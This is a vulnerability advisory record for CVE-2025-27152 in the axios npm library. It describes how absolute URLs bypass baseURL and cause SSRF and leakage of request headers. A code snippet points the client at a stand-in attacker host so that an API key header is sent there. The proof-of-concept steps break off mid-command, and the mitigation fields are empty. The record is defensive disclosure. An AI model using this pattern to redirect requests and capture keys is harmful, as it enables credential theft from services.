axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Date: 2025-03
Affected: npm/axios, npm/axios
Attack vector: ssrf
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2025-27152
CWE: CWE-918

### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers. It is recommended that: - When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers: ``` mkdir /tmp/server1 /tmp/se


Mitigations:

Architectural layers (MAESTRO):